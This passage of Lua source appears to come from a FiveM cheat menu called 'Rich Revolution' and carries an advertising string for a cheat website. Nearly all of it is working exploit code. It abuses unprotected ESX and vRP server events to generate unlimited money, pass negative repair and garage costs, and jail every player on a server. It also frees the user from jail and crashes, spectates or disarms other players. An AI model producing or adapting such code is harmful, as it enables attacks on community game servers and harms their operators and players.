  7236. TriggerServerEvent("esx_jailer:sendToJail", GetPlayerServerId(i), 99999, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  7237. TriggerServerEvent("esx_jailer:sendToJailf", GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  7238. TriggerServerEvent("esx_wiezienie:wyslijwiezienie", GetPlayerServerId(i), 9999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 9999)
  7239. TriggerServerEvent("esx_jailer:sendToJailhype", GetPlayerServerId(i), 100 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 999)
  7240. TriggerServerEvent("esx-qalle-jail:wyslijwiezienie", GetPlayerServerId(i), 60*1, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 111)
  7241. TriggerServerEvent("arisonarp:wiezienie", GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 9999999999)
  7242. end
  7243.  
  7244. RichRevolution.Display()
  7245. elseif RichRevolution.IsMenuOpened("VRPMoneyMenu") then
  7246. if RichRevolution.Button("-» Ultimate moneymaker «-") then
  7247. local result = KeyboardInput("Enter amount of money", "", 100000000)
  7248. if result then
  7249. TriggerServerEvent('esx_truckerjob:pay', result)
  7250. TriggerServerEvent('vrp_slotmachine:server:2', result)
  7251. TriggerServerEvent("esx_pizza:pay", result)
  7252. TriggerServerEvent('esx_jobs:caution', 'give_back', result)
  7253. TriggerServerEvent('lscustoms:payGarage', result)
  7254. TriggerServerEvent('esx_tankerjob:pay', result)
  7255. TriggerServerEvent('esx_vehicletrunk:giveDirty', result)
  7256. TriggerServerEvent('f0ba1292-b68d-4d95-8823-6230cdf282b6', result)
  7257. TriggerServerEvent('gambling:spend', result)
  7258. TriggerServerEvent('265df2d8-421b-4727-b01d-b92fd6503f5e', result)
  7259. TriggerServerEvent('AdminMenu:giveDirtyMoney', result)
  7260. TriggerServerEvent('AdminMenu:giveBank', result)
  7261. TriggerServerEvent('AdminMenu:giveCash', result)
  7262. TriggerServerEvent('esx_slotmachine:sv:2', result)
  7263. TriggerServerEvent('esx_truckerjob:pay', result)
  7264. TriggerServerEvent('esx_moneywash:deposit', result)
  7265. TriggerServerEvent('esx_moneywash:withdraw', result)
  7266. TriggerServerEvent('esx_moneywash:deposit', result)
  7267. TriggerServerEvent('mission:completed', result)
  7268. TriggerServerEvent('truckerJob:success',result)-- 4x482
  7269. TriggerServerEvent('c65a46c5-5485-4404-bacf-06a106900258', result)
  7270. TriggerServerEvent('99kr-burglary:addMoney', result)
  7271. end
  7272. elseif RichRevolution.Button("VRP PayGarage 100$") then
  7273. TriggerServerEvent("lscustoms:payGarage", {costs = -100})
  7274. elseif RichRevolution.Button("VRP PayGarage 1000$") then
  7275. TriggerServerEvent("lscustoms:payGarage", {costs = -1000})
  7276. elseif RichRevolution.Button("VRP PayGarage 10 000$") then
  7277. TriggerServerEvent("lscustoms:payGarage", {costs = -10000})
  7278. elseif RichRevolution.Button("VRP PayGarage 100 000$") then
  7279. TriggerServerEvent("lscustoms:payGarage", {costs = -100000})
  7280. elseif RichRevolution.Button("~g~Caution give back $") then
  7281. local result = KeyboardInput("Enter amount of money", "", 100000000)
  7282. if result then
  7283. TriggerServerEvent("esx_jobs:caution", "give_back", result)
  7284. end
  7285. elseif RichRevolution.Button("Truckerjob $") then
  7286. local result = KeyboardInput("Enter amount of money", "", 100000000)
  7287. if result then
  7288. TriggerServerEvent('esx_truckerjob:pay', result)
  7289. end
  7290. elseif RichRevolution.Button("Admin give bank $") then
  7291. local result = KeyboardInput("Enter amount of money", "", 100000000)
  7292. if result then
  7293. TriggerServerEvent('AdminMenu:giveBank', result)
  7294. end
  7295. elseif RichRevolution.Button("Admin give cash $") then
  7296. local result = KeyboardInput("Enter amount of money", "", 100000000)
  7297. if result then
  7298. TriggerServerEvent('AdminMenu:giveCash', result)
  7299. end
  7300. elseif RichRevolution.Button("Postal job $") then
  7301. local result = KeyboardInput("Enter amount of money", "", 100000000)
  7302. if result then
  7303. TriggerServerEvent("esx_gopostaljob:pay", result)
  7304. end
  7305. elseif RichRevolution.Button("Bank security $") then
  7306. local result = KeyboardInput("Enter amount of money", "", 100000000)
  7307. if result then
  7308. TriggerServerEvent("esx_banksecurity:pay", result)
  7309. end
  7310. elseif RichRevolution.Button("Slotmachine $") then
  7311. local result = KeyboardInput("Enter amount of money", "", 100000000)
  7312. if result then
  7313. TriggerServerEvent("esx_slotmachine:sv:2", result)
  7314. end
  7315. elseif RichRevolution.Button(" LScustoms $") then
  7316. local result = KeyboardInput("Enter amount of money", "", 100)
  7317. if result then
  7318. TriggerServerEvent("lscustoms:payGarage", {costs = -result})
  7319. end
  7320. elseif RichRevolution.Button("Slotmachine(2) $") then
  7321. local result = KeyboardInput("Enter amount of money", "", 100)
  7322. if result then
  7323. TriggerServerEvent("vrp_slotmachine:server:2", result)
  7324. end
  7325. elseif RichRevolution.Button("Dirty money $") then
  7326. local result = KeyboardInput("Enter amount of money", "", 100000000)
  7327. if result then
  7328. TriggerServerEvent('AdminMenu:giveDirtyMoney', result)
  7329. end
  7330. elseif RichRevolution.Button("Delivery $") then
  7331. local result = KeyboardInput("Enter amount of money", "", 100000000)
  7332. if result then
  7333. TriggerServerEvent('delivery:success', result)
  7334. end
  7335. elseif RichRevolution.Button("Taxijob $") then
  7336. local result = KeyboardInput("Enter amount of money", "", 100000000)
  7337. if result then
  7338. TriggerServerEvent ('taxi:success', result)
  7339. end
  7340. elseif RichRevolution.Button("Taxijob 10.000x $") then
  7341. a=1 repeat TriggerServerEvent('esx_taxijob:success') a=a+1 until (a>10000)
  7342. elseif RichRevolution.Button("Pilot & Taxi (~b~VRP~s~) $") then
  7343. TriggerServerEvent('esx_pilot:success')
  7344. TriggerServerEvent('esx_taxijob:success')
  7345. TriggerServerEvent('esx_pilot:success')
  7346. TriggerServerEvent('esx_taxijob:success')
  7347. TriggerServerEvent('esx_pilot:success')
  7348. TriggerServerEvent('esx_taxijob:success')
  7349. TriggerServerEvent('esx_pilot:success')
  7350. elseif RichRevolution.Button("Garbagejob $") then
  7351. local result = KeyboardInput("Enter amount of money", "", 100000000)
  7352. if result then
  7353. TriggerServerEvent("esx_garbagejob:pay", result)
  7354. end
  7355. elseif RichRevolution.Button("Paycheck $") then
  7356. TriggerServerEvent('paycheck:salary')
  7357. TriggerServerEvent('paycheck:salary')
  7358. TriggerServerEvent('paycheck:salary')
  7359. TriggerServerEvent('paycheck:salary')
  7360. TriggerServerEvent('paycheck:salary')
  7361. TriggerServerEvent('paycheck:salary')
  7362. TriggerServerEvent('paycheck:salary')
  7363. TriggerServerEvent('paycheck:salary')
  7364. end
  7365.  
  7366. RichRevolution.Display()
  7367. elseif RichRevolution.IsMenuOpened("ESXMoneyMenu") then
  7368. if RichRevolution.Button("-» Ultimate moneymaker «-") then
  7369. local result = KeyboardInput("Enter amount of money", "", 100000000)
  7370. if result then
  7371. TriggerServerEvent('esx_truckerjob:pay', result)
  7372. TriggerServerEvent('vrp_slotmachine:server:2', result)
  7373. TriggerServerEvent("esx_pizza:pay", result)
  7374. TriggerServerEvent('esx_jobs:caution', 'give_back', result)
  7375. TriggerServerEvent('lscustoms:payGarage', result)
  7376. TriggerServerEvent('esx_tankerjob:pay', result)
  7377. TriggerServerEvent('esx_vehicletrunk:giveDirty', result)
  7378. TriggerServerEvent('f0ba1292-b68d-4d95-8823-6230cdf282b6', result)
  7379. TriggerServerEvent('gambling:spend', result)
  7380. TriggerServerEvent('265df2d8-421b-4727-b01d-b92fd6503f5e', result)
  7381. TriggerServerEvent('AdminMenu:giveDirtyMoney', result)
  7382. TriggerServerEvent('AdminMenu:giveBank', result)
  7383. TriggerServerEvent('AdminMenu:giveCash', result)
  7384. TriggerServerEvent('esx_slotmachine:sv:2', result)
  7385. TriggerServerEvent('esx_truckerjob:pay', result)
  7386. TriggerServerEvent('esx_moneywash:deposit', result)
  7387. TriggerServerEvent('esx_moneywash:withdraw', result)
  7388. TriggerServerEvent('esx_moneywash:deposit', result)
  7389. TriggerServerEvent('mission:completed', result)
  7390. TriggerServerEvent('truckerJob:success',result)-- 4x482
  7391. TriggerServerEvent('c65a46c5-5485-4404-bacf-06a106900258', result)
  7392. TriggerServerEvent('99kr-burglary:addMoney', result)
  7393. end
  7394. elseif RichRevolution.Button("~g~Caution give back $") then
  7395. local result = KeyboardInput("Enter amount of money", "", 100000000)
  7396. if result then
  7397. TriggerServerEvent("esx_jobs:caution", "give_back", result)
  7398. end
  7399. elseif RichRevolution.Button("~g~Truckerjob $") then
  7400. local result = KeyboardInput("Enter amount of money", "", 100000000)
  7401. if result then
  7402. TriggerServerEvent('esx_truckerjob:pay', result)
  7403. end
  7404. elseif RichRevolution.Button("~g~Admin give bank $") then
  7405. local result = KeyboardInput("Enter amount of money", "", 100000000)
  7406. if result then
  7407. TriggerServerEvent('AdminMenu:giveBank', result)
  7408. end
  7409. elseif RichRevolution.Button("~g~Admin give cash $") then
  7410. local result = KeyboardInput("Enter amount of money", "", 100000000)
  7411. if result then
  7412. TriggerServerEvent('AdminMenu:giveCash', result)
  7413. end
  7414. elseif RichRevolution.Button("~g~Postal job $") then
  7415. local result = KeyboardInput("Enter amount of money", "", 100000000)
  7416. if result then
  7417. TriggerServerEvent("esx_gopostaljob:pay", result)
  7418. end
  7419. elseif RichRevolution.Button("~g~Bank security $") then
  7420. local result = KeyboardInput("Enter amount of money", "", 100000000)
  7421. if result then
  7422. TriggerServerEvent("esx_banksecurity:pay", result)
  7423. end
  7424. elseif RichRevolution.Button("~g~Slotmachine $") then
  7425. local result = KeyboardInput("Enter amount of money", "", 100000000)
  7426. if result then
  7427. TriggerServerEvent("esx_slotmachine:sv:2", result)
  7428. end
  7429. elseif RichRevolution.Button("~g~ LScustoms $") then
  7430. local result = KeyboardInput("Enter amount of money", "", 100)
  7431. if result then
  7432. TriggerServerEvent("lscustoms:payGarage", {costs = -result})
  7433. end
  7434. elseif RichRevolution.Button("~g~Slotmachine(2) $") then
  7435. local result = KeyboardInput("Enter amount of money", "", 100)
  7436. if result then
  7437. TriggerServerEvent("vrp_slotmachine:server:2", result)
  7438. end
  7439. elseif RichRevolution.Button("~g~Dirty money $") then
  7440. local result = KeyboardInput("Enter amount of money", "", 100000000)
  7441. if result then
  7442. TriggerServerEvent('AdminMenu:giveDirtyMoney', result)
  7443. end
  7444. elseif RichRevolution.Button("~g~Delivery $") then
  7445. local result = KeyboardInput("Enter amount of money", "", 100000000)
  7446. if result then
  7447. TriggerServerEvent('delivery:success', result)
  7448. end
  7449. elseif RichRevolution.Button("~g~Taxijob $") then
  7450. local result = KeyboardInput("Enter amount of money", "", 100000000)
  7451. if result then
  7452. TriggerServerEvent ('taxi:success', result)
  7453. end
  7454. elseif RichRevolution.Button("~g~Taxijob 10.000x $") then
  7455. a=1 repeat TriggerServerEvent('esx_taxijob:success') a=a+1 until (a>10000)
  7456. elseif RichRevolution.Button("~g~Pilot & Taxi (~g~ESX~s~) $") then
  7457. TriggerServerEvent('esx_pilot:success')
  7458. TriggerServerEvent('esx_taxijob:success')
  7459. TriggerServerEvent('esx_pilot:success')
  7460. TriggerServerEvent('esx_taxijob:success')
  7461. TriggerServerEvent('esx_pilot:success')
  7462. TriggerServerEvent('esx_taxijob:success')
  7463. TriggerServerEvent('esx_pilot:success')
  7464. elseif RichRevolution.Button("~g~Garbagejob $") then
  7465. local result = KeyboardInput("Enter amount of money", "", 100000000)
  7466. if result then
  7467. TriggerServerEvent("esx_garbagejob:pay", result)
  7468. end
  7469. elseif RichRevolution.Button("~g~Paycheck $") then
  7470. TriggerServerEvent('paycheck:salary')
  7471. TriggerServerEvent('paycheck:salary')
  7472. TriggerServerEvent('paycheck:salary')
  7473. TriggerServerEvent('paycheck:salary')
  7474. TriggerServerEvent('paycheck:salary')
  7475. TriggerServerEvent('paycheck:salary')
  7476. TriggerServerEvent('paycheck:salary')
  7477. TriggerServerEvent('paycheck:salary')
  7478. end
  7479.  
  7480. RichRevolution.Display()
  7481. elseif RichRevolution.IsMenuOpened("SelfMenu") then
  7482. if RichRevolution.MenuButton("~g~→ ~s~Ped Menu", "PedMenu") then
  7483. elseif RichRevolution.Button("~s~Yourself ~g~Heal") then
  7484. SetEntityHealth(PlayerPedId(), 200)
  7485. elseif RichRevolution.Button("Get Some ~b~Armor") then
  7486. SetPedArmour(PlayerPedId(), 200)
  7487. elseif RichRevolution.Button("Go Invisible") then
  7488. local model2 = GetHashKey("mp_m_niko_01")
  7489. local player2 = PlayerId()
  7490. local playerPed = GetPlayerPed(-1)
  7491. RequestModel(model2)
  7492. while not HasModelLoaded(model2) do
  7493. Wait(100)
  7494. end
  7495.  
  7496. SetPlayerModel(player2, model2)
  7497. SetModelAsNoLongerNeeded(model2)
  7498. elseif RichRevolution.Button("Go Visible Again") then
  7499. local model3 = GetHashKey("mp_m_freemode_01")
  7500. local player3 = PlayerId()
  7501. local playerPed = GetPlayerPed(-1)
  7502. RequestModel(model3)
  7503. while not HasModelLoaded(model3) do
  7504. Wait(100)
  7505. end
  7506.  
  7507. SetPlayerModel(player3, model3)
  7508. SetPedComponentVariation(GetPlayerPed(-1), 0, i, 0, 0)
  7509. SetModelAsNoLongerNeeded(model3)
  7510. elseif RichRevolution.Button("Get some $ ~b~(VRP)") then
  7511. TriggerServerEvent("dropOff", 100000)
  7512. TriggerServerEvent("dropOff", 100000)
  7513. TriggerServerEvent("dropOff", 100000)
  7514. TriggerServerEvent("dropOff", 100000)
  7515. TriggerServerEvent("dropOff", 100000)
  7516. TriggerServerEvent("dropOff", 100000)
  7517. TriggerServerEvent("dropOff", 100000)
  7518. TriggerServerEvent("dropOff", 100000)
  7519. TriggerServerEvent("dropOff", 100000)
  7520. TriggerServerEvent("dropOff", 100000)
  7521. TriggerServerEvent("dropOff", 100000)
  7522. TriggerServerEvent("dropOff", 100000)
  7523. TriggerServerEvent("dropOff", 100000)
  7524. TriggerServerEvent("dropOff", 100000)
  7525. TriggerServerEvent("dropOff", 100000)
  7526. TriggerServerEvent("dropOff", 100000)
  7527. TriggerServerEvent("dropOff", 100000)
  7528. TriggerServerEvent("dropOff", 100000)
  7529. TriggerServerEvent("dropOff", 100000)
  7530. TriggerServerEvent("dropOff", 100000)
  7531. TriggerServerEvent("dropOff", 100000)
  7532. TriggerServerEvent("dropOff", 100000)
  7533. TriggerServerEvent("dropOff", 100000)
  7534. TriggerServerEvent("dropOff", 100000)
  7535. TriggerServerEvent("dropOff", 100000)
  7536. TriggerServerEvent("dropOff", 100000)
  7537. TriggerServerEvent("dropOff", 100000)
  7538. TriggerServerEvent("dropOff", 100000)
  7539. TriggerServerEvent('PayForRepairNow',-100000)
  7540. TriggerServerEvent('PayForRepairNow',-100000)
  7541. TriggerServerEvent('PayForRepairNow',-100000)
  7542. TriggerServerEvent('PayForRepairNow',-100000)
  7543. TriggerServerEvent('PayForRepairNow',-100000)
  7544. TriggerServerEvent('PayForRepairNow',-100000)
  7545. TriggerServerEvent('PayForRepairNow',-100000)
  7546. TriggerServerEvent('PayForRepairNow',-100000)
  7547. TriggerServerEvent('PayForRepairNow',-100000)
  7548. TriggerServerEvent('PayForRepairNow',-100000)
  7549. TriggerServerEvent('PayForRepairNow',-100000)
  7550. TriggerServerEvent('PayForRepairNow',-100000)
  7551. drawNotification("~p~Rich Revolution 2.0 $$")
  7552. elseif RichRevolution.Button("Get Some $ ~g~(~g~ESX~s~)") then
  7553. TriggerServerEvent("esx_godirtyjob:pay", 500000)
  7554. TriggerServerEvent("esx_pizza:pay", 500000)
  7555. TriggerServerEvent("esx_slotmachine:sv:2", 500000)
  7556. TriggerServerEvent("esx_banksecurity:pay", 500000)
  7557. TriggerServerEvent('AdminMenu:giveDirtyMoney', 500000)
  7558. TriggerServerEvent('AdminMenu:giveBank', 500000)
  7559. TriggerServerEvent("AdminMenu:giveCash", 500000)
  7560. TriggerServerEvent("esx_gopostaljob:pay", 500000)
  7561. TriggerServerEvent("AdminMenu:giveBank", 500000)
  7562. TriggerServerEvent("esx_truckerjob:pay", 500000)
  7563. TriggerServerEvent("esx_carthief:pay", 500000)
  7564. TriggerServerEvent("esx_garbagejob:pay", 500000)
  7565. TriggerServerEvent("esx_ranger:pay", 500000)
  7566. TriggerServerEvent("esx_truckersjob:payy", 500000)
  7567. PlaySoundFrontend(-1, "ROBBERY_MONEY_TOTAL", "HUD_FRONTEND_CUSTOM_SOUNDSET", true)
  7568. drawNotification("~p~Rich Revolution 2.0 $$")
  7569. elseif RichRevolution.Button("Revive yourself (~g~ESX~s~)") then
  7570. TriggerEvent("esx_ambulancejob:revive")
  7571. TriggerEvent("ambulancier:selfRespawn")
  7572. elseif RichRevolution.Button("Open Jail Menu (~g~ESX~s~)") then
  7573. TriggerEvent("esx-qalle-jail:openJailMenu")
  7574. elseif RichRevolution.Button("Get Out Of Jail (~g~ESX~s~)") then
  7575. local ped = PlayerPedId(-1)
  7576. TriggerServerEvent("esx-qalle-jail:jailPlayer",GetPlayerServerId(ped),0,"escaperino")
  7577. TriggerServerEvent("esx_jailer:sendToJail",GetPlayerServerId(ped),0)
  7578. TriggerServerEvent("esx_jail:sendToJail",GetPlayerServerId(ped),0)
  7579. TriggerServerEvent("esx_jailer:unjailTime", -1)
  7580. TriggerServerEvent("JailUpdate", 0)
  7581. TriggerEvent("UnJP")
  7582. TriggerServerEvent("js:jailuser",GetPlayerServerId(ped),0,"escaperino")
  7583. elseif RichRevolution.CheckBox(
  7584. "God-Mode",
  7585. godmode,
  7586. function(enabled)
  7587. godmode = enabled
  7588. end)
  7589. then
  7590. elseif RichRevolution.CheckBox(
  7591. "~o~Nuke ~s~Punches",
  7592. explosiveAmmo,
  7593. function(enabled)
  7594. explosiveAmmo = enabled
  7595. end)
  7596. then
  7597. elseif RichRevolution.CheckBox(
  7598. "Never Get Tired",
  7599. infStamina,
  7600. function(enabled)
  7601. infStamina = enabled
  7602. end)
  7603. then
  7604. elseif RichRevolution.CheckBox(
  7605. "Fast Run",
  7606. fastrun,
  7607. function(enabled)
  7608. fastrun = enabled
  7609. end)
  7610. then
  7611. elseif RichRevolution.CheckBox(
  7612. "Super Jump",
  7613. SuperJump,
  7614. function(enabled)
  7615. SuperJump = enabled
  7616. end)
  7617. then
  7618. elseif RichRevolution.CheckBox(
  7619. "Noclip",
  7620. Noclip,
  7621. function(enabled)
  7622. Noclip = enabled
  7623. end)
  7624. then
  7625. elseif RichRevolution.Button("~r~Suicide") then
  7626. SetEntityHealth(PlayerPedId(), 0)
  7627. end
  7628.  
  7629. RichRevolution.Display()
  7630. elseif RichRevolution.IsMenuOpened("PedMenu") then
  7631. if RichRevolution.ComboBox("MalePed", peds2, currentPedd, selectedPedd, function(currentIndex, selectedIndex)
  7632. currentPedd = currentIndex
  7633. selectedPedd = selectedIndex
  7634. end)
  7635. then
  7636. elseif RichRevolution.ComboBox("FemalePed", peds3, currentPeddd, selectedPeddd, function(currentIndex, selectedIndex)
  7637. currentPeddd = currentIndex
  7638. selectedPeddd = selectedIndex
  7639. end)
  7640. then
  7641. elseif RichRevolution.ComboBox("AnimalPed", peds4, currentPedddd, selectedPedddd, function(currentIndex, selectedIndex)
  7642. currentPedddd = currentIndex
  7643. selectedPedddd = selectedIndex
  7644. end)
  7645. then
  7646. elseif RichRevolution.Button("Change To Selected ~b~Male") then
  7647. Deer.Destroy()
  7648. Wait(100)
  7649. local model1 = GetHashKey(peds2[selectedPedd])
  7650. local player1 = PlayerId()
  7651. local playerPed = GetPlayerPed(-1)
  7652.  
  7653. RequestModel(model1)
  7654. while not HasModelLoaded(model1) do
  7655. Wait(100)
  7656. end
  7657.  
  7658. SetPlayerModel(player1, model1)
  7659. SetPedComponentVariation(GetPlayerPed(-1), 0, i, 0, 0)
  7660. SetModelAsNoLongerNeeded(model1)
  7661. elseif RichRevolution.Button("Change To Selected ~p~Female") then
  7662. Deer.Destroy()
  7663. Wait(100)
  7664. local model5 = GetHashKey(peds3[selectedPeddd])
  7665. local player5 = PlayerId()
  7666. local playerPed = GetPlayerPed(-1)
  7667.  
  7668. RequestModel(model5)
  7669. while not HasModelLoaded(model5) do
  7670. Wait(100)
  7671. end
  7672.  
  7673. SetPlayerModel(player5, model5)
  7674. SetPedComponentVariation(GetPlayerPed(-1), 0, i, 0, 0)
  7675. SetModelAsNoLongerNeeded(model5)
  7676. elseif RichRevolution.Button("Change To Selected ~y~Animal") then
  7677. Deer.Destroy()
  7678. Wait(100)
  7679. local model6 = GetHashKey(peds4[selectedPedddd])
  7680. local player6 = PlayerId()
  7681. local playerPed = GetPlayerPed(-1)
  7682.  
  7683. RequestModel(model6)
  7684. while not HasModelLoaded(model6) do
  7685. Wait(100)
  7686. end
  7687.  
  7688. SetPlayerModel(player6, model6)
  7689. SetPedComponentVariation(GetPlayerPed(-1), 0, i, 0, 0)
  7690. SetModelAsNoLongerNeeded(model6)
  7691. elseif RichRevolution.Button("Spawn A ~y~Deer ~s~And Ride It") then
  7692. Deer.Create()
  7693. Citizen.Wait(150)
  7694. Deer.Ride()
  7695. elseif RichRevolution.Button("Change To Deafult") then
  7696. Deer.Destroy()
  7697. Wait(100)
  7698. local model3 = GetHashKey("mp_m_freemode_01")
  7699. local player3 = PlayerId()
  7700. local playerPed = GetPlayerPed(-1)
  7701. RequestModel(model3)
  7702. while not HasModelLoaded(model3) do
  7703. Wait(100)
  7704. end
  7705.  
  7706. SetPlayerModel(player3, model3)
  7707. SetPedDefaultComponentVariation(GetPlayerPed(-1))
  7708. SetModelAsNoLongerNeeded(model3)
  7709. elseif RichRevolution.Button("Change To ~y~Trevor") then
  7710. Deer.Destroy()
  7711. Wait(100)
  7712. local model13 = GetHashKey("player_two")
  7713. local player1 = PlayerId()
  7714. local playerPed = GetPlayerPed(-1)
  7715.  
  7716. RequestModel(model13)
  7717. while not HasModelLoaded(model13) do
  7718. Wait(100)
  7719. end
  7720.  
  7721. SetPlayerModel(player1, model13)
  7722. SetPedComponentVariation(GetPlayerPed(-1), 0, i, 0, 0)
  7723. SetModelAsNoLongerNeeded(model1)
  7724. elseif RichRevolution.Button("Change To ~b~Michael") then
  7725. Deer.Destroy()
  7726. Wait(100)
  7727. local model12 = GetHashKey("player_zero")
  7728. local player1 = PlayerId()
  7729. local playerPed = GetPlayerPed(-1)
  7730.  
  7731. RequestModel(model12)
  7732. while not HasModelLoaded(model12) do
  7733. Wait(100)
  7734. end
  7735.  
  7736. SetPlayerModel(player1, model12)
  7737. SetPedComponentVariation(GetPlayerPed(-1), 0, i, 0, 0)
  7738. SetModelAsNoLongerNeeded(model12)
  7739. elseif RichRevolution.Button("Change To ~g~Franklin") then
  7740. Deer.Destroy()
  7741. Wait(100)
  7742. local model11 = GetHashKey("player_one")
  7743. local player1 = PlayerId()
  7744. local playerPed = GetPlayerPed(-1)
  7745.  
  7746. RequestModel(model11)
  7747. while not HasModelLoaded(model11) do
  7748. Wait(100)
  7749. end
  7750.  
  7751. SetPlayerModel(player1, model11)
  7752. SetPedComponentVariation(GetPlayerPed(-1), 0, i, 0, 0)
  7753. SetModelAsNoLongerNeeded(model11)
  7754. elseif RichRevolution.Button("Change To ~r~Alien") then
  7755. Deer.Destroy()
  7756. Wait(100)
  7757. local model121 = GetHashKey("s_m_m_movalien_01")
  7758. local player1 = PlayerId()
  7759. local playerPed = GetPlayerPed(-1)
  7760.  
  7761. RequestModel(model121)
  7762. while not HasModelLoaded(model121) do
  7763. Wait(100)
  7764. end
  7765.  
  7766. SetPlayerModel(player1, model121)
  7767. SetPedComponentVariation(GetPlayerPed(-1), 0, i, 0, 0)
  7768. SetModelAsNoLongerNeeded(model121)
  7769. elseif RichRevolution.Button("Change To ~h~Bigfoot") then
  7770. Deer.Destroy()
  7771. Wait(100)
  7772. local model122 = GetHashKey("ig_orleans")
  7773. local player1 = PlayerId()
  7774. local playerPed = GetPlayerPed(-1)
  7775.  
  7776. RequestModel(model122)
  7777. while not HasModelLoaded(model122) do
  7778. Wait(100)
  7779. end
  7780.  
  7781. SetPlayerModel(player1, model122)
  7782. SetPedComponentVariation(GetPlayerPed(-1), 0, i, 0, 0)
  7783. SetModelAsNoLongerNeeded(model122)
  7784.  
  7785. end
  7786. RichRevolution.Display()
  7787. elseif RichRevolution.IsMenuOpened("OnlinePlayersMenu") then
  7788. for i = 0, 128 do
  7789. if NetworkIsPlayerActive(i) and GetPlayerServerId(i) ~= 0 and RichRevolution.MenuButton("~g~→ ~s~NICK: "..GetPlayerName(i).." | ID: ~r~"..GetPlayerServerId(i).." | "..(IsPedDeadOrDying(GetPlayerPed(i), 1) and "~r~Dead ~s~|" or "~g~Alive ~s~|"), "PlayerOptionsMenu") then
  7790. SelectedPlayer = i
  7791. end
  7792. end
  7793.  
  7794. RichRevolution.Display()
  7795. elseif RichRevolution.IsMenuOpened("PlayerOptionsMenu") then
  7796. RichRevolution.SetSubTitle("PlayerOptionsMenu", "Player Options ["..GetPlayerName(SelectedPlayer).."]")
  7797. if RichRevolution.Button("Spectate", (Spectating and "~g~[SPECTATING]")) then
  7798. SpectatePlayer(SelectedPlayer)
  7799. elseif RichRevolution.Button("Crash Player") then
  7800. CrashPlayer(GetPlayerPed(SelectedPlayer))
  7801. elseif RichRevolution.Button("Teleport To Player") then
  7802. drawNotification(
  7803. 'Do you want to teleport to the player? ~g~y ~s~/ ~r~n'
  7804. )
  7805. local cP = KeyboardInput('Are you sure you want to teleport? y/n', '', 0)
  7806. if cP == 'y' then
  7807. local Entity =
  7808. IsPedInAnyVehicle(PlayerPedId(-1), false) and GetVehiclePedIsUsing(PlayerPedId(-1)) or
  7809. PlayerPedId(-1)
  7810. SetEntityCoords(Entity, GetEntityCoords(GetPlayerPed(SelectedPlayer)), 0.0, 0.0, 0.0, false)
  7811. elseif cP == 'n' then
  7812. drawNotification(
  7813. '~h~~r~Operation cancelled~s~.'
  7814. )
  7815. else
  7816. drawNotification(
  7817. '~h~~r~Invalid Confirmation~s~.'
  7818. )
  7819. drawNotification(
  7820. '~h~~r~Operation cancelled~s~.'
  7821. )
  7822. end
  7823. elseif RichRevolution.Button("Teleport To Player With Vehicle") then
  7824. drawNotification(
  7825. 'Do you want to teleport to the player? ~g~y ~s~/ ~r~n'
  7826. )
  7827. local cP = KeyboardInput('Are you sure you want to teleport? y/n', '', 0)
  7828. if cP == 'y' then
  7829. local Entity =
  7830. IsPedInAnyVehicle(PlayerPedId(-1), false) and GetVehiclePedIsUsing(PlayerPedId(-1)) or
  7831. PlayerPedId(-1)
  7832. SetEntityCoords(Entity, GetEntityCoords(GetPlayerPed(SelectedPlayer)), 0.0, 0.0, 0.0, false)
  7833. elseif cP == 'n' then
  7834. drawNotification(
  7835. '~h~~r~Operation cancelled~s~.'
  7836. )
  7837. else
  7838. drawNotification(
  7839. '~h~~r~Invalid Confirmation~s~.'
  7840. )
  7841. drawNotification(
  7842. '~h~~r~Operation cancelled~s~.'
  7843. )
  7844. end
  7845. elseif RichRevolution.Button("Give All Weapons") then
  7846. for i = 1, #allWeapons do
  7847. GiveWeaponToPed(GetPlayerPed(SelectedPlayer), GetHashKey(allWeapons[i]), 250, false, false)
  7848. end
  7849. elseif RichRevolution.Button("Give Ammo") then
  7850. for i = 1, #allWeapons do
  7851. AddAmmoToPed(GetPlayerPed(SelectedPlayer), GetHashKey(allWeapons[i]), 250)
  7852. end
  7853. elseif RichRevolution.Button("Remove All Weapons") then
  7854. for i = 1, #allWeapons do
  7855. RemoveAllPedWeapons(GetPlayerPed(SelectedPlayer), true)
  7856. end
  7857. elseif RichRevolution.Button("Kick From Vehicle") then
  7858. ClearPedTasksImmediately(GetPlayerPed(SelectedPlayer))
  7859. drawNotification("~g~Kicked Player From Vehicle!")
  7860. elseif RichRevolution.Button("Open inventory") then
  7861. TriggerEvent("esx_inventoryhud:openPlayerInventory", GetPlayerServerId(SelectedPlayer), GetPlayerName(SelectedPlayer))
  7862. elseif RichRevolution.Button('~g~Heal ~s~Player') then
  7863. local dU = 'PICKUP_HEALTH_STANDARD'
  7864. local dV = GetHashKey(dU)
  7865. local bK = GetEntityCoords(GetPlayerPed(SelectedPlayer))
  7866. CreateAmbientPickup(dV, bK.x, bK.y, bK.z + 1.0, 1, 1, dV, 1, 0)
  7867. SetPickupRegenerationTime(pickup, 60)
  7868. elseif RichRevolution.Button("~g~Give ~w~Money") then
  7869. local result = KeyboardInput("Enter amount of money to give", "", 100000000)
  7870. if result then
  7871. TriggerServerEvent('esx:giveInventoryItem', GetPlayerServerId(SelectedPlayer), "item_money", "money", result)
  7872. end
  7873. elseif RichRevolution.Button('~b~Armour ~s~Player') then
  7874. local dW = 'PICKUP_ARMOUR_STANDARD'
  7875. local dX = GetHashKey(dW)
  7876. local bK = GetEntityCoords(GetPlayerPed(SelectedPlayer))
  7877. local pickup = CreateAmbientPickup(dX, bK.x, bK.y, bK.z + 1.0, 1, 1, dX, 1, 0)
  7878. SetPickupRegenerationTime(pickup, 60)
  7879. elseif RichRevolution.Button('~b~FULL Armour ~s~Player') then
  7880. local dW = 'PICKUP_ARMOUR_STANDARD'
  7881. local dX = GetHashKey(dW)
  7882. local bK = GetEntityCoords(GetPlayerPed(SelectedPlayer))
  7883. for i = 0, 99 do
  7884. Citizen.Wait(0)
  7885. CreateAmbientPickup(dX, bK.x, bK.y, bK.z + 1.0, 1, 1, dX, 1, 0)
  7886. SetPickupRegenerationTime(pickup, 10)
  7887. i = i + 1
  7888. end
  7889. elseif RichRevolution.MenuButton("~g~→ ~s~Troll Options", "PlayerTrollMenu") then
